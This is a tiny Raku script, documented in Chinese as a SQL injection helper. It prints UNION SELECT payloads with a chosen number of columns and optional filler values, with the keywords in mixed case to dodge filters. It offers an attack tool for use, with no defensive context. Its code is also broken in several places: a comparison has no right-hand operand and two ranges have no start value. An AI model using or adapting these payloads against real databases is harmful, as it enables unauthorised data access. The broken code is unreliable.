=begin pod

sql注入中自动输出order by 的位数

=end pod

sub MAIN(Int $number,Str $char?) {

  my @sql = [];

  if @*ARGS.elems ==  {

    for ..$number {

      if $char ~~ /:i null/ {

        @sql.push: $char;

      }

      else {

        @sql.push: "'"~$char~"'" ;

      }

    }

    say 'UnIoN SeLeCT '~@sql.join(',');

    exit;

  }

  my $sql = (..$number).join(',');

  say 'UnIoN sElEcT '~$sql;

}